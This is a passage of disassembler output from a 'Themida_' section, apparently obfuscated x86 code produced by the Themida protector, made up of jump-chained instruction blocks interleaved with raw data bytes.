		dd 0DF8704C4h, 0C80BE9h, 0E9515800h, 0FFFFF6CFh, 0FB89F789h
		dd 0DD895E5Fh, 0B6F6E9h, 0DDE95F00h, 8B00009Dh,	0DA302424h
		dd 0DA30D330h, 0CA30E9h
		db 0
; ---------------------------------------------------------------------------

loc_516459:				; CODE XREF: Themida_:0051D7B3j
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_521F40
; ---------------------------------------------------------------------------

loc_516462:				; CODE XREF: Themida_:00520E39j
		or	ebp, 35E80BA2h
		sub	ebp, 0CCC6709Eh
		mov	ecx, ebp
		pop	ebp
		jmp	loc_522AB1
; ---------------------------------------------------------------------------
		dw 0D668h
		dd 0E9000022h, 4764h, 3042BD55h, 0F58127E1h, 2149ED56h
		dd 0FFE657E9h, 24048BFFh, 614AE9h, 241C8900h, 61218ABBh
		dd 0F63EE930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5164A6:				; CODE XREF: Themida_:00515B37j
		pop	esp
		push	0E4h
		mov	[esp], ecx
		mov	ecx, 436F3B1Eh
		add	ebx, 23F2689Eh
		sub	ebx, ecx
		sub	ebx, 23F2689Eh
		pop	ecx
		sub	ebx, eax
		push	ecx
		mov	ecx, 436F3B1Eh
		jmp	loc_513D72
; ---------------------------------------------------------------------------
		dd 8F5E5Eh, 0FF9233E9h,	0F28158FFh, 0E2A85AFDh,	0E95AD389h
		dd 0FFFFD8DFh, 1091BE56h, 0F03173E6h, 60EB0D5Eh, 1EE934D0h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5164FB:				; CODE XREF: Themida_:00512565j
		sub	edx, 67BB6957h
		sub	edx, 1F0E10ADh
		push	eax
		jmp	loc_510619
; ---------------------------------------------------------------------------
aUsyp		db 9,'îéyp',0
		align 4
		dd 24048B66h, 2C483h, 2434FFF0h, 4EC815Ah, 89000000h, 0E0892404h
		dd 405h, 35BCE900h, 0E5810000h,	474D0F81h, 0D1F7CD87h
		dd 90E1E9h
		db 0
; ---------------------------------------------------------------------------

loc_516545:				; CODE XREF: Themida_:0051786Dj
		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_524FE6
; ---------------------------------------------------------------------------
		dw 0B68h
		dd 8900001Ch, 0CD89242Ch, 71CCE9h, 81E38900h, 4C3h, 0BCEEE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51656A:				; CODE XREF: Themida_:005239F5j
		pop	esp
		mov	[esp], ebx
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, cl
		jmp	loc_510905
; ---------------------------------------------------------------------------
		db 89h
		dd 98E9241Ch, 81000056h, 7E667FCEh, 6E6C122h, 8106EEC1h
		dd 958AD5C6h, 5EF3214Ch, 5063E9h, 68E38900h, 3C80h, 68240489h
		dd 4, 0BEB8158h, 139DA4Ch, 66B951C3h, 492D5E10h, 6ED5BF57h
		dd 9BE92778h
		db 0DBh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5165CB:				; CODE XREF: Themida_:0051D954j
		xor	[esp], esi
		jmp	loc_51B0FB
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0EE8146D6h, 0EB18DCC7h, 9633E9h, 0C1814900h,	415D25E7h
		dd 4CCAE9h, 0EA815800h,	3F33210Fh, 0B850C201h, 2B265820h
		dd 0C8EE0540h, 0BFE9140Ch, 8900005Ah, 4C781E7h,	81000000h
		dd 4C7h, 243C8700h, 4BD555Ch, 1000000h,	242C8BEEh, 3304C483h
		dd 34312434h, 24343324h, 8324248Bh, 2C8904ECh, 57E58924h
		dd 946285BFh, 0C7814F55h, 266F7673h, 5503E7C1h,	647D34BDh
		dd 0E9DDF768h, 8BC8h, 4C781h, 3C330000h, 243C3124h, 1671E9h
		dd 0CE295D00h, 81240C8Bh, 4C4h,	2434FF00h, 0E789575Dh
		dd 4C781h, 0C7830000h, 243C8704h, 0FFE62FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51668D:				; CODE XREF: Themida_:00517D36j
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_51C347
; ---------------------------------------------------------------------------

loc_51669E:				; CODE XREF: Themida_:0051EDDDj
		push	esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	esi, 4
		push	7596h
		mov	[esp], ebp
		mov	ebp, 4
		sub	esi, 28A9060Bh
		add	esi, ebp
		add	esi, 28A9060Bh
		pop	ebp
		jmp	loc_510481
; ---------------------------------------------------------------------------
		dw 0FFB8h
		dd 0E9FFFFFFh, 75C4h
; ---------------------------------------------------------------------------

loc_5166D8:				; CODE XREF: Themida_:0050FA42j
		mov	edi, ebx
		pop	ebx
		add	edi, ebx
		mov	ebx, [esp]
		jmp	loc_512CC7
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0C2h
		dd 8158110Fh, 4940FBEFh, 0E9F8319Fh, 0FFFFC54Ah
; ---------------------------------------------------------------------------

loc_5166F8:				; CODE XREF: Themida_:0051CB3Fj
		add	ecx, 69862F61h
		pop	esi
		push	edx
		jmp	loc_5248D8
; ---------------------------------------------------------------------------

loc_516705:				; CODE XREF: Themida_:0051549Cj
		pop	edi
		mov	esi, [esp]
		jmp	loc_5186CE
; ---------------------------------------------------------------------------
		dw 148Bh
aWs		db '$Wé\»',0
		dw 2900h
		dd 0EB0159CBh, 71F7C381h, 3DE971C7h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_516727:				; CODE XREF: Themida_:0051B6B4j
		add	edi, 3483453Dh
		add	edi, eax
		sub	edi, 3483453Dh
		add	edi, 5B375B16h
		mov	eax, [esp]
		push	ecx
		jmp	loc_5103BE
; ---------------------------------------------------------------------------
		dd 0E902E8C1h, 24FBh
; ---------------------------------------------------------------------------

loc_51674C:				; CODE XREF: Themida_:00519C24j
		mov	ebp, [esp]
		jmp	loc_512027
; ---------------------------------------------------------------------------
		dd 5C243C87h, 4C781h, 0C7810000h, 4, 5C243C87h,	0E9240433h
		dd 3CEDh, 0CF1846B9h, 4E9C17Ah,	7094E9h, 539CB800h, 1AE952D4h
		dd 810000D7h, 6CC495F1h, 59CE29B9h, 0E924148Bh,	61B4h
		dd 0E924348Bh, 8A4Ch, 0C281DAF7h, 6E2A119Dh, 110CEA81h
		dd 14E97081h, 89000044h, 0EB015EF5h, 0E465E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5167BE:				; CODE XREF: Themida_:00524CE7j
		push	esi
		mov	esi, 1
		jmp	loc_510A5D
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 4EC835Ch, 0B5240C89h, 59EB281Dh, 0EC83C328h,	4896602h
		dd 0E91DB424h, 0C87Ah, 2001E181h, 0D1F7341Ah, 3C1CF181h
		dd 0C6E92A76h, 1000079h, 4055BD8h, 87000000h, 555C2404h
		dd 5D2414F7h, 22E95152h, 87FFFF99h, 248B2434h, 7FAF6824h
		dd 14890000h, 2519E924h, 6C810000h, 45AD0424h, 48B17B8h
		dd 6506824h, 0B1E90000h, 33FFFF97h, 0A7E9242Ch,	58FFFFE6h
		dd 0CCADE9h
		db 0
; ---------------------------------------------------------------------------

loc_516849:				; CODE XREF: Themida_:0051359Aj
		pop	edx
		jmp	loc_5138CD
; ---------------------------------------------------------------------------
		db 31h
		dd 0C33240Ch, 24248B24h, 0BF44E9h
		db 0
; ---------------------------------------------------------------------------

loc_51685D:				; CODE XREF: Themida_:00515DA8j
		add	esp, 4
		jmp	loc_525026
; ---------------------------------------------------------------------------
		dd 5A59CE29h, 0A7E95556h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_516873:				; CODE XREF: Themida_:005158AEj
		inc	esi
		add	esi, 1
		sub	esi, 2C4C3540h
		push	edi
		jmp	loc_51416E
; ---------------------------------------------------------------------------
		db 89h
		dd 1CE9241Ch, 81FFFFA7h, 4ECh, 24048900h, 1E94BD55h, 6B8233Eh
		dd 2970FD38h, 55565DE8h, 3308E9h, 243C3100h, 0E9243C33h
		dd 1733h, 2434895Ch, 0CF79E952h, 0EE810000h, 0E0D25406h
		dd 4E9F209h, 81000082h,	4C3h, 4EB8100h,	87000000h, 0FBE9241Ch
		dd 81000034h, 4C4h, 61EF8100h, 29143241h, 0E803E9C7h, 0C181FFFFh
		dd 53766C51h, 2733F181h, 0BD55179Ah, 43174AD3h,	0E9ED8145h
		dd 4504972Ah, 61E0E581h, 67E94E66h, 100009Fh, 98C281FAh
		dd 0E9206237h, 0FFFFB6F9h
; ---------------------------------------------------------------------------

loc_516924:				; CODE XREF: Themida_:0051EB20j
		add	dword ptr [esp], 53195995h
		pop	ebx
		jmp	loc_51412A
; ---------------------------------------------------------------------------

loc_516931:				; CODE XREF: Themida_:0052393Aj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	2029h
		jmp	loc_515C35
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 5E66E9h
		db 0
; ---------------------------------------------------------------------------

loc_51694D:				; CODE XREF: Themida_:005245D3j
		add	esp, 4
		push	196Ah
		jmp	loc_51E079
; ---------------------------------------------------------------------------
aZsZ		db 'Zé×§',0
		db 0
; ---------------------------------------------------------------------------

loc_516963:				; CODE XREF: Themida_:005193ABj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_513EB3
; ---------------------------------------------------------------------------
		db 5Ah,	57h, 0E9h
		dd 0FFFFF962h, 0C8BE828h, 4C48324h, 0A45EE9h, 2EC8100h
		dd 66000000h, 0E9241489h, 0FFFFDAACh, 620168h, 241C8900h
		dd 0DB64E9h
		db 0
; ---------------------------------------------------------------------------

loc_5169A1:				; CODE XREF: Themida_:0051F5D3j
		sub	dword ptr [esp], 1CF173E6h
		pop	ecx
		jmp	loc_51E605
; ---------------------------------------------------------------------------
		dw 59E9h
		dd 1FFFF8Dh, 240C8BC8h,	81E38953h, 4C3h, 4BE5600h, 1000000h
		dd 0FF535EF3h, 5B042474h, 8B24048Fh, 0EC812424h, 4, 0E9241489h
		dd 0BF48h
; ---------------------------------------------------------------------------

loc_5169E4:				; CODE XREF: Themida_:00523ECCj
		inc	ebp
		dec	ebp
		jmp	loc_51C2A7
; ---------------------------------------------------------------------------
		db 0ADh
		dd 8F50272Dh, 61B95103h, 8163BA01h, 0C762FEF1h,	0A510E926h
		dd 0C5810000h, 4, 6F81E9h, 0BD555700h, 4AF23797h, 0FFAD94E9h
		dd 37E958FFh
		db 0E2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_516A1F:				; CODE XREF: Themida_:00515EAAj
		not	dword ptr [esp]
		pop	ebx
		neg	ebx
		jmp	loc_512589
; ---------------------------------------------------------------------------

loc_516A2A:				; CODE XREF: Themida_:0051706Cj
		add	eax, ebp
		pop	ebp
		pop	edi
		jmp	loc_51F86B
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 60E95224h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_516A3F:				; CODE XREF: Themida_:005199C8j
		add	esi, 4
		jmp	loc_52156D
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 1DCABB24h, 0C3815233h, 27D54F3Ah, 71B0EB81h,	0EB814DB9h
		dd 2AE304A8h, 7C6EEB81h, 0C3812B5Eh, 7BEF8678h,	6009C281h
		dd 0DA297B78h, 6009EA81h, 34FF7B78h, 0C4835B24h, 1AC28104h
		dd 1210534h, 1AEA81CAh,	55210534h, 91E5EBDh, 0ED814565h
		dd 130C1DA9h, 0AE9EA01h, 8900007Bh, 0E589242Ch,	282668h
		dd 0D3B6E900h, 14870000h, 0B9515C24h, 54E725ADh, 4BD5E981h
		dd 0E1D17E86h, 8107E1C1h, 550A09C9h, 6EE9812Eh,	81604C78h
		dd 0B4B669C1h, 0E9CF0960h, 5497h
; ---------------------------------------------------------------------------

loc_516AE4:				; CODE XREF: Themida_:0051BBDAj
		add	ebx, 60AB5006h
		add	ebx, 538575B1h
		sub	ebx, 62CF729Fh
		sub	esi, ebx
		pop	ebx
		jmp	loc_52453D
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 0CBDF71C2h, 0E9D631BFh, 0FFFFEB46h, 4C481h, 0ED810000h
		dd 63007E9Ah, 6D57685Ah, 2C890000h, 2474FF24h, 2434FF04h
		dd 4C4835Dh, 5C24048Fh,	0FF2434FFh, 83582434h, 8D6804C4h
		dd 8900000Fh, 0EC81241Ch, 4, 83242489h,	5B042404h, 4EC81h
		dd 3C890000h, 24685324h, 0E9549426h, 5B62h, 8BE9C330h
		dd 8100000Bh, 68082DF2h, 93F2815Dh, 810C3271h, 0CCE5F8EAh
		dd 53E22DD1h, 0CFE9520Bh, 6800001Dh, 1DF9h, 0FFD6B6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_516B91:				; CODE XREF: Themida_:0051F5F1j
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 44392B03h
		jmp	loc_5128A8
; ---------------------------------------------------------------------------
		db 0BFh
		dd 0BA4B7693h, 295FFE01h, 0C3835EF3h, 0F7DBF7FFh, 1A45E9DBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_516BBE:				; CODE XREF: Themida_:0051DB73j
		mov	esi, 0A6C3E24h
		neg	esi
		or	esi, 16C94A04h
		jmp	loc_51947D
; ---------------------------------------------------------------------------
		dd 50241489h, 8B32E99Ch, 0EE81FFFFh, 3E115002h,	703C68h
		dd 240C8900h, 0FFB50DE9h, 1B4DBBFFh, 0E943508Ah, 683Fh
		dd 66E2EE81h, 5AE952B7h, 5CFFFFEEh, 6092E9h, 0CE98100h
		dd 18CB58Eh, 0A403E9CFh, 0C2810000h, 1,	45DBB850h, 52D69CFh
		dd 3548B376h, 6CA14D60h, 4E8C140h, 0E295FC2Dh, 58C209DCh
		dd 0FA90E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_516C3E:				; CODE XREF: Themida_:005152A4j
		push	4E5h
		mov	[esp], edi
		jmp	loc_51367B
; ---------------------------------------------------------------------------
		db 0BDh
		dd 1A45A6h, 1123EABAh, 5DEA3176h, 7B9BF281h, 0E2812635h
		dd 2C3413C3h, 0FFCCD2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_516C69:				; CODE XREF: Themida_:0051838Ej
		add	ebp, 4
		jmp	loc_51B4F9
; ---------------------------------------------------------------------------
		dd 8B04C483h, 0AEE92404h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_516C7F:				; CODE XREF: Themida_:00512A9Fj
		push	edi
		mov	ebx, [esp]
		add	esp, 4
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		xor	[esp+4], ebx
		jmp	loc_51E17B
; ---------------------------------------------------------------------------
		dw 8143h
		dd 442FC7EBh, 0C3814B0Eh, 0E25A9499h, 815BDD29h, 0FB27D8F5h
		dd 9DC28117h, 29432D66h, 9DB850EAh, 81432D66h, 86390BEAh
		dd 81C22963h, 86390BC2h, 95E9E963h, 1489FFFFh, 0B1515324h
		dd 59CB8809h, 0E904EC83h, 0FFFFEBACh, 243CD35Ch, 8DC1E99Ch
		dd 248BFFFFh, 8A1AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_516CF2:				; CODE XREF: Themida_:005240E3j
		mov	ebx, [esp]
		jmp	loc_51F020
; ---------------------------------------------------------------------------

loc_516CFA:				; CODE XREF: Themida_:0051B8B0j
		add	eax, 4
		jmp	loc_5134F4
; ---------------------------------------------------------------------------
aBJchsS		db 'Î(J–hé´™',0
		dw 0E900h
		dd 0FFFF89F8h, 24048B66h, 19AB68h, 0F6DAE900h, 0C501FFFFh
		dd 7500E958h, 81590000h, 127560C3h, 81C30111h, 127560EBh
		dd 505A5811h, 4C6F19B8h, 5C173530h, 0D1480D1Dh,	4FF935E0h
		dd 1F05403Ch, 57C561D6h, 6C3593BFh, 0E9FB2919h,	0FFFFAA2Dh
; ---------------------------------------------------------------------------

loc_516D60:				; CODE XREF: Themida_:00511BBEj
		mov	eax, [esp]
		add	esp, 4
		add	ebx, ebp
		pop	ebp
		add	dword ptr [ebx], 1
		push	dword ptr [esp]
		jmp	loc_51A637
; ---------------------------------------------------------------------------

loc_516D77:				; CODE XREF: Themida_:0051C1FBj
		and	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_518F73
; ---------------------------------------------------------------------------

loc_516D84:				; CODE XREF: Themida_:0051B1FDj
		push	ebx
		mov	ebx, 3F4A0D70h
		not	ebx
		push	eax
		jmp	loc_518F50
; ---------------------------------------------------------------------------
aAaSU		db '€í¾é=“',0
		align 2
a4gsi		db '4£é©^',0
		dd 0C0BFBA00h, 0CA015E0Bh, 37EA8159h, 816E1D22h, 0AF3A24F2h
		dd 81DAF736h, 491575E2h, 4E2C126h, 0E3A4B951h, 9CE9EF77h
		dd 5E0000CCh, 0BFE9F787h, 0BA000086h, 252C0842h, 815AD329h
		dd 0EE60B1E3h, 95C2E92Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_516DE6:				; CODE XREF: Themida_:005103E4j
		inc	edi
		push	edx
		jmp	loc_524A84
; ---------------------------------------------------------------------------

loc_516DED:				; CODE XREF: Themida_:005102CDj
		add	edx, 4
		jmp	loc_512FEE
; ---------------------------------------------------------------------------
a5xzi5hN	db '5•Zë5hÀn',0
		align 2
		dw 0C89h
aUvsP		db '$UVéЯ',0
		align 4

loc_516E0C:				; CODE XREF: Themida_:0051B7DEj
		xor	eax, 0CA5CA3DCh
		mov	ebp, eax
		pop	eax
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		xor	esi, 75CB0C1Ch
		jmp	loc_51F37C
; ---------------------------------------------------------------------------

loc_516E26:				; CODE XREF: Themida_:0051DCE1j
		pop	ebx
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_514474
; ---------------------------------------------------------------------------
		dw 0CBEh
		dd 8103C011h, 5277C1CEh, 81D6F74Bh, 2F6BD9C6h, 5EF231D3h
		dd 6AE2814Ah, 68608C73h, 0
		dd 5A241429h, 0EAD1EAD1h, 3EE5F281h, 45E9A054h,	660000C3h
		dd 66240C31h, 0E9240C33h, 0FFFF8E96h
; ---------------------------------------------------------------------------

loc_516E74:				; CODE XREF: Themida_:0051FCA7j
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		jmp	loc_521121
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 8704C683h, 248B2434h,	4EC8124h, 89000000h
		dd 0FAE9243Ch
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_516E9F:				; CODE XREF: Themida_:00519772j
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	21476E55h
		pop	eax
		shl	eax, 6
		or	eax, 538638B2h
		push	ebp
		mov	ebp, 56D161A6h
		or	ebp, 6610202Ah
		not	ebp
		add	ebp, 1
		add	ebp, 724A01A6h
		push	ebx
		mov	ebx, 0D54D756h
		xor	ebp, ebx
		pop	ebx
		add	eax, ebp
		pop	ebp
		push	5122h
		jmp	loc_517AB3
; ---------------------------------------------------------------------------
		db 5Fh
		dd 31243433h, 34332434h, 9EE95C24h, 4FFFFF2h, 8952595Ch
		dd 4C281E2h, 81000000h,	2EAh, 24148700h, 0C89665Ch, 434B524h
		dd 0EDBEE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_516F22:				; CODE XREF: Themida_:00524ACDj
		pop	ebx
		add	ebx, 0C6D88807h
		mov	ebp, ebx
		pop	ebx
		push	ebp
		jmp	loc_51B3FC
; ---------------------------------------------------------------------------

loc_516F32:				; CODE XREF: Themida_:0051F46Fj
		push	edx
		mov	edx, 121B3A48h
		sub	ebx, edx
		pop	edx
		shl	ebx, 7
		sub	ebx, 734E5876h
		push	eax
		mov	eax, 1BDF709Dh
		or	ebx, eax
		jmp	loc_5160D3
; ---------------------------------------------------------------------------
		db 68h,	0E4h, 16h
		dd 815A1212h, 0ED59ADF2h, 0F7DAF770h, 3D81E9D2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_516F66:				; CODE XREF: Themida_:00515809j
		push	edi
		mov	edi, ecx
		mov	esi, edi
		pop	edi
		pop	ecx
		push	6C5Eh
		mov	[esp], esi
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_518D46
; ---------------------------------------------------------------------------

loc_516F86:				; CODE XREF: Themida_:00524089j
		mov	ebx, 4A3F0CD2h
		sub	ebx, 4A3F0CCEh
		add	esi, ebx
		pop	ebx
		push	eax
		mov	eax, 4
		jmp	loc_5122E2
; ---------------------------------------------------------------------------
aUsps		db 'Ué¯s',0
		dd 0F7665C00h, 456866F9h, 14896634h, 9C506624h,	0FF8753E9h
		dd 0F58195FFh, 0B6D4F5A9h, 5527222Dh, 5E82939h,	39552722h
		dd 605D685Dh, 34890000h, 4EC8124h, 89000000h, 3DB82404h
		dd 0BE08845Ch, 307DE4B5h, 0B5B9E9h, 241C8900h, 0DEA9E9h
		dd 58F68100h, 0E983F969h, 3E05h, 0C93BF9BBh, 8E3C163h
		dd 32F7CB81h, 0F3816D8Fh, 76F31412h, 0FFE9B5E9h, 53EA81FFh
		dd 0E949172Ch, 0F8Ch, 5B66DE30h, 148BF488h, 4C48324h, 48BE728h
		dd 4C48124h, 80000000h,	0EF80C1C7h, 35F78001h, 1C8BF828h
		dd 4C48324h, 0FFFB13E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_517051:				; CODE XREF: Themida_:0052118Bj
		mov	[esp], ecx
		jmp	loc_51CB05
; ---------------------------------------------------------------------------

loc_517059:				; CODE XREF: Themida_:00517D96j
		dec	ebp
		xor	ebp, 108D5F59h
		sub	ebp, 693252Bh
		add	ebp, 0B3FD6474h
		jmp	loc_516A2A
; ---------------------------------------------------------------------------
aI4Ts		db '‰4$Téݰ',0
		align 2
		dw 489h
		dd 24148724h, 0FF8951E9h, 81E189FFh, 4C1h, 4C18100h, 0E9000000h
		dd 0FFFFAD5Ch, 3F24C0FEh, 0FF9925E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5170A1:				; CODE XREF: Themida_:00513F05j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		sub	edx, 58533EDBh
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_511FC7
; ---------------------------------------------------------------------------

loc_5170C1:				; CODE XREF: Themida_:0051AD74j
		add	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	ecx
		sub	ecx, 14341239h
		pop	esi
		add	eax, 42B81648h
		jmp	loc_51B64A
; ---------------------------------------------------------------------------
		dd 0A698E957h, 0C281FFFFh, 762045DAh, 57D3F281h, 0B9511EA4h
		dd 542E40F7h, 0C181D9F7h, 58D1FA9h, 0E1C1D9F7h,	53CFE905h
		dd 0F72D0000h, 0E92EFB1Bh, 0FFFF8C2Bh, 0FF240489h, 0E9042474h
		dd 6717h
; ---------------------------------------------------------------------------

loc_517120:				; CODE XREF: Themida_:0051F661j
		mov	[esp], esi
		push	ecx
		mov	ecx, 1E22619Dh
		push	ebx
		mov	ebx, ecx
		mov	esi, ebx
		jmp	loc_51FFB5
; ---------------------------------------------------------------------------

loc_517133:				; CODE XREF: Themida_:00511A10j
		xchg	ebp, esi
		jmp	loc_520828
; ---------------------------------------------------------------------------
		dw 5159h
		dd 0BF57E189h, 3E0130BFh, 0B951h, 0F9290000h, 0C8BCF89h
		dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 96CF815Ch
		dd 4F4C2059h, 0DFD2EF81h, 0C181CDFEh, 38917322h, 0B850F901h
		dd 38917322h, 3E9C129h,	68000032h, 343Eh, 0E9243489h, 2416h
		dd 0E924348Bh, 0FFFFE38Bh, 0BD73C381h, 5DE9FD16h, 50FFFF99h
		dd 47346852h, 0E95A25F2h, 0FFFF88C9h
; ---------------------------------------------------------------------------

loc_5171B0:				; CODE XREF: Themida_:0051AE22j
		sub	ebp, 86F3Ch
		add	ebx, ebp
		pop	ebp
		jmp	loc_5103B3
; ---------------------------------------------------------------------------

loc_5171BE:				; CODE XREF: Themida_:005159F5j
		mov	ebx, [esp]
		add	esp, 4
		add	edi, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_511BC3
; ---------------------------------------------------------------------------

loc_5171D4:				; CODE XREF: Themida_:00512436j
		pop	edx
		add	esp, 4
		push	3C42h
		jmp	loc_518474
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 3Ch
		dd 4EC81h, 9BE90000h, 0F7000019h, 87F2E9D9h, 0E9590000h
		dd 0DC27h, 0CBC7814Fh, 299882C7h, 0F1095FFEh, 0B237E95Eh
		dd 0BF57FFFFh, 570842A6h, 8246C81h, 3FCD27CBh, 8244481h
		dd 17FA0166h, 8247C29h,	8246C81h, 17FA0166h, 8244481h
		dd 3FCD27CBh, 68B1E95Fh, 52570000h, 2A754868h, 24148B23h
		dd 4C481h, 0EAC10000h, 1BF28102h, 5025B4C6h, 0C789D089h
		dd 600BE9h
		db 0, 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_512DA0
; ---------------------------------------------------------------------------

loc_51726E:				; CODE XREF: Themida_:0051A922j
		shr	ebx, 2
		jmp	loc_52315B
; ---------------------------------------------------------------------------
		dw 3168h
		dd 8900002Eh, 45BB241Ch, 815D8C33h, 3D2FC3h, 4EBC130h
		dd 376168h, 24348900h, 1A47E9h,	0FFFFBF00h, 0FA01FFFFh
		dd 81243C8Bh, 4C4h, 96F28100h, 1AB3528h, 24148BD3h, 2904C483h
		dd 8586E9C3h, 0EB810000h, 1BC3BABh, 2F43C381h, 0CBE90FFFh
		dd 8000004Eh, 0F02815C6h, 8B22045Ah, 0C481240Ch, 4, 4EC81h
		dd 0C890000h, 0E949B524h, 91C7h
; ---------------------------------------------------------------------------

loc_5172F0:				; CODE XREF: Themida_:00523183j
		add	eax, 2D235E36h
		add	eax, edx
		sub	eax, 2D235E36h
		jmp	loc_518E97
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C4h
		dd 4, 0B8368h, 240C8900h, 0C0C1B450h, 516604E4h, 0EC304AB5h
		dd 0E1885966h, 0FF88FAE9h, 4BFFFh, 0FE290000h, 4655E95Fh
		dd 0EC810000h, 4, 0BB241C89h, 413381A8h, 0E95BDF01h, 505Eh
; ---------------------------------------------------------------------------

loc_517348:				; CODE XREF: Themida_:005218D9j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5219A2
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFE312h, 194CC581h, 0BA5275FAh, 5BFC76FAh
		dd 0E95AD529h, 32A7h, 3C6DC181h, 8E92B4Ah, 0BDFFFFF4h
		dd 5A4422F6h, 58398B9h,	70E9815Fh, 290F5752h, 0D7BE56E9h
		dd 466D9F26h, 6517E681h, 0BBE94B18h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5173A3:				; CODE XREF: Themida_:0051CA1Dj
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		push	6BD90DA9h
		push	dword ptr [esp]
		jmp	loc_51155F
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 5DB022D3h, 8159CF01h, 52E29DF7h, 0E9FE2951h,	0FFFFCB4Ch
		dd 0E958C189h, 42D9h, 7158C381h, 0DBF71A3Eh, 0E7BE5650h
		dd 52528526h, 504463BAh, 5AD60955h, 0EE81DEF7h,	0DB901048h
		dd 5BE9F089h, 0BDFFFF85h, 2C0827DFh, 2F29C281h,	37E9770Dh
		dd 21FFFFD6h, 0DE355AD0h, 93701D79h, 5393D3F7h,	642061BBh
		dd 5C38165h, 81C7D604h,	0C3219CBh, 0F7F38735h, 0C1F387D6h
		dd 0DBF705E3h, 0C227F381h, 0D801CA56h, 0DC7DE95Bh, 0E6D0FFFFh
		dd 6602EC83h, 53240489h, 28E9B0B3h, 5B00001Ah, 6864E9h
		db 0
; ---------------------------------------------------------------------------

loc_517465:				; CODE XREF: Themida_:005207C6j
		mov	eax, 1AB8647Ah
		add	ecx, eax
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_51016E
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 0E9000000h, 7C7Dh
; ---------------------------------------------------------------------------

loc_51749C:				; CODE XREF: Themida_:00512744j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_517A8B
; ---------------------------------------------------------------------------
		dd 0E9D83059h, 0FFFF8373h
; ---------------------------------------------------------------------------

loc_5174B0:				; CODE XREF: Themida_:00513D15j
		pop	ebx
		jmp	loc_51A225
; ---------------------------------------------------------------------------
		dw 0C788h
		dd 9AF2E958h, 3C89FFFFh, 0B472E924h, 0E789FFFFh, 0FF9CF3E9h
		dd 5EF001FFh, 2B951h, 0C8010000h, 24048759h, 288645Ch
		dd 0FF8227E9h, 2216B9FFh, 0CB010250h, 13C7E9h, 0F8E95800h
		dd 810000C0h, 9228CEC6h, 767EE93Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_517502:				; CODE XREF: Themida_:0051D89Fj
		mov	[esp], edi
		push	ebp
		push	0C4D3F03h
		pop	ebp
		jmp	loc_514260
; ---------------------------------------------------------------------------
		db 0B0h, 69h, 30h
